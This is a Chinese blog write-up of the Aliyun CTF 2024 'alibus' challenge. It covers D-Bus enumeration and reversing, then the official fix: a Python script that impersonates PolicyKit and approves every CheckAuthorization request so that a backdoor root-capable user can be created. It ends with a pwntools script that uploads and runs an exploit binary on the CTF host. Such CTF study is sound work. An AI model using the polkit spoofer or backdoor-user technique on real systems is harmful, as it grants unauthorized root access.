阿里云ctf2024-alibus复现

Posted by l0tus on 2024-03-27
Estimated Reading Time 8 Minutes
Words 1.7k In Total
Viewed Times

阿里云CTF,D3一起打,拿了第4
一共参与了两道题,pwn sign in比队友慢一步打通。之后就是alibus坐牢了,到结束很可惜没做出来。

做题时的思路

这道题挂在pwn和misc两个分区下,我们就当一道pwn题来做了
看题目应该是dbus的利用
首先去看配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
$ cat alibus.conf
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<auth>ANONYMOUS</auth>
<allow_anonymous/>
<policy context="default">
<allow own="*"/>
<allow own_prefix="org.zbus"/>
<allow send_destination="*"/>
<allow send_type="method_call"/>
</policy>
</busconfig>$
  1. ANONYMOUS 和 <allow_anonymous/> 表明匿名用户可以连接到这个 D-Bus 服务。
  2. 允许任何用户拥有任何服务名。
  3. 特别允许任何用户拥有以 org.zbus 开头的服务名。
  4. 允许向任何目的地发送消息。
  5. 允许发送方法调用类型的消息。

但是当时由于没接触过dbus,所以对这里的问题不敏感。

alibus实现的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ busctl
NAME PID PROCESS USER CONNECTION UNIT SESSION DESCRIPTION
:1.0 20 alibus root :1.0 - - -
:1.7 67 busctl www-data :1.7 - - -
org.freedesktop.Accounts - - - (activatable) - - -
org.freedesktop.DBus 18 n/a root - - - -
org.freedesktop.PolicyKit1 - - - (activatable) - - -
org.freedesktop.hostname1 - - - (activatable) - - -
org.freedesktop.locale1 - - - (activatable) - - -
org.freedesktop.login1 - - - (activatable) - - -
org.freedesktop.network1 - - - (activatable) - - -
org.freedesktop.resolve1 - - - (activatable) - - -
org.freedesktop.systemd1 - - - (activatable) - - -
org.freedesktop.timedate1 - - - (activatable) - - -
org.freedesktop.timesync1 - - - (activatable) - - -
org.zbus.MyService 20 alibus root :1.0 - - -
$
$ busctl introspect org.zbus.MyService /org/zbus/MyService
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
org.zbus.MyService1 interface - - -
.AddMachines method i s -
.Register method ss - -
.Say666 method - s -
.SayHello method - s -
.ShowMenu method - s -

测了一测几个method的功能

1
2
3
4
5
6
7
8
9
$ busctl call org.zbus.MyService /org/zbus/MyService org.zbus.MyService1 SayHello
s "Your current default account is \'default\', please register a new one."
$ busctl call org.zbus.MyService /org/zbus/MyService org.zbus.MyService1 Register ss "username" "password"
$ busctl call org.zbus.MyService /org/zbus/MyService org.zbus.MyService1 AddMachines i 1
s "The machine configuration you currently have is: 4c8g"
$ busctl call org.zbus.MyService /org/zbus/MyService org.zbus.MyService1 Say666
s "wow username"
$ busctl call org.zbus.MyService /org/zbus/MyService org.zbus.MyService1 ShowMenu
s "1. 4c8g\n 2. 8c16g\n 3. 16c32g"

测不出什么溢出之类的,于是我们开始逆向。。。
把alibus.bin脱下来,开始逆rust的一下午。
realworld2023有一道dbus的题,有一个method叫sayboss,https://bbs.chaitin.cn/topic/133
我们怀疑alibus的say666功能也有类似trick
于是去找say666,这个bin没有符号,看起来也很难受

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
.text:000000000006D120
_QWORD *__fastcall sub_6D120(_QWORD *a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
v27[51] = 0LL;
v37 = a2;
v38 = a3;
v39 = a4;
v40 = a5;
v17 = sub_4E45B0(a6);
v18 = v6;
if ( (sub_74200(v17, v6, aSayhello, 8LL) & 1) != 0 )
{
src[0] = a2;
src[1] = a4;
src[2] = a5;
v23 = 0;
memcpy(&v24[264], src, 0x108uLL);
v24[528] = 0;
v15 = (void *)sub_72140(536LL, 8LL);
memcpy(v15, v24, 0x218uLL);
v44 = v15;
v43 = v15;
a1[1] = v15;
a1[2] = &off_69C338;
*a1 = 2LL;
}
else
{
v16 = sub_74200(v17, v18, aRegister, 8LL);
if ( (v16 & 1) != 0 )
{
v25[0] = a5;
v25[1] = a4;
v25[2] = a2;
v26 = 0;
memcpy(v27, v25, 0x218uLL);
LOBYTE(v27[134]) = 0;
v13 = (void *)sub_72140(1080LL, 8LL);
memcpy(v13, v27, 0x438uLL);
v48 = v13;
v47 = v13;
a1[1] = v13;
a1[2] = &off_69C318;
*a1 = 2LL;
}
else
{
v14 = sub_74200(v17, v18, aShowmenu, 8LL);
if ( (v14 & 1) != 0 )
{
v28[0] = a2;
v28[1] = a4;
v28[2] = a5;
v29 = 0;
memcpy(&v30[264], v28, 0x108uLL);
v30[528] = 0;
v11 = (void *)sub_72140(536LL, 8LL);
memcpy(v11, v30, 0x218uLL);
v42 = v11;
v41 = v11;
a1[1] = v11;
a1[2] = &off_69C2F8;
*a1 = 2LL;
}
else
{
v12 = sub_74200(v17, v18, aAddmachines, 11LL);
if ( (v12 & 1) != 0 )
{
v31[0] = a5;
v31[1] = a4;
v31[2] = a2;
v32 = 0;
memcpy(v33, v31, 0x218uLL);
v33[1072] = 0;
v9 = (void *)sub_72140(1080LL, 8LL);
memcpy(v9, v33, 0x438uLL);
v46 = v9;
v45 = v9;
a1[1] = v9;
a1[2] = &off_69C2D8;
*a1 = 2LL;
}
else
{
v10 = sub_74200(v17, v18, aSay666, 6LL);
if ( (v10 & 1) != 0 )
{
v34[0] = a2;
v34[1] = a4;
v34[2] = a5;
v35 = 0;
memcpy(&v36[264], v34, 0x108uLL);
v36[528] = 0;
v8 = (void *)sub_72140(536LL, 8LL);
memcpy(v8, v36, 0x218uLL);
v50 = v8;
v49 = v8;
a1[1] = v8;
a1[2] = &off_69C2B8;
*a1 = 2LL;
}
else
{
*a1 = 0LL;
}
}
}
}
}
sub_4E0E00(a6);
return a1;
}

依旧是使得依托,此时比赛方放了hint:不需要逆向,看配置文件。

正解

我们应该伪造一个polkit,伪造自己的CheckAuthorization函数,给自己认证之后就可以去调用polkit-1里面的任何方法。
(以下代码来自官方wp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from gi.repository import GLib

import dbus
import dbus.service
import dbus.mainloop.glib

class SomeObject(dbus.service.Object):

@dbus.service.method("org.freedesktop.PolicyKit1.Authority",
in_signature='(sa{sv})sa{ss}us', out_signature='(bba{ss})')
def CheckAuthorization(self, subject,action_id,details,flags,cancellation_id):
print(subject)
print(action_id)
print(details)
print(flags)
print(cancellation_id)
return (True,False,{})

def Exit(self):
mainloop.quit()

if __name__ == '__main__':
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
# bus=dbus.bus.BusConnection("tcp:host=192.168.59.186,port=55557")
bus= dbus.SystemBus()
name = dbus.service.BusName("org.freedesktop.PolicyKit1", bus, replace_existing=True)
print(bus.get_unique_name())
object = SomeObject(bus, '/org/freedesktop/PolicyKit1/Authority')
mainloop = GLib.MainLoop()
print("Running example service.")
mainloop.run()

转静态链接elf之后远程传上去还是运行不起来,所以就本地复现了一下
pic1

思路是伪造policykit的认证函数,通过调用我们的认证方法,我们可以使现在的用户调用policykit的其他方法,比如创建用户、修改密码。
创建后门用户hack,修改密码之后登录hack
登录hack之后切换到root

原因是配置文件没有明确限制特定用户或用户组对于特定操作的权限。hack 用户利用这个配置文件中设置的允许匿名用户和默认策略允许的操作,通过 D-Bus 通信来执行一些需要特权的操作,包括切换到 root 用户。

赛后吐槽

纯misc题啊qwq,为啥挂pwn为啥挂pwn为啥挂pwn

交互

附上交互脚本吧,写都写了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
import os
import subprocess

#context.log_level='debug'
p=remote("pwn5.aliyunctf.com",1337)

def Connect():
p.recvuntil("below:")
p.recvline()
hashcash=p.recvline()
hashcash_output = subprocess.check_output(hashcash, shell=True).decode().strip()
print("ret = ",hashcash_output)
p.sendline(str(hashcash_output).encode())

def transfer():

with open("./exp", "rb") as f:
exp=base64.b64encode(f.read())

try_count = 1
while True:
p.sendline()
p.recvuntil("$ ")

count = 0
for i in range(0, len(exp)+1, 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))

for i in range(count):
p.recvuntil("$ ")

p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break


def Register(usnm,pswd):
cmd="busctl call org.zbus.MyService /org/zbus/MyService org.zbus.MyService1 Register ss "+usnm+" "+pswd
p.sendline(cmd)

def SayHello():
cmd="busctl call org.zbus.MyService /org/zbus/MyService org.zbus.MyService1 SayHello"
p.sendline(cmd)

def Say666():
cmd="busctl call org.zbus.MyService /org/zbus/MyService org.zbus.MyService1 Say666"
p.sendline(cmd)

def AddMachine(i):
cmd="busctl call org.zbus.MyService /org/zbus/MyService org.zbus.MyService1 AddMachines i "+i
p.sendline(cmd)

def ShowMenu():
cmd="busctl call org.zbus.MyService /org/zbus/MyService org.zbus.MyService1 ShowMenu"
p.sendline(cmd)

if __name__ == '__main__':
Connect()
transfer()
p.interactive()

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !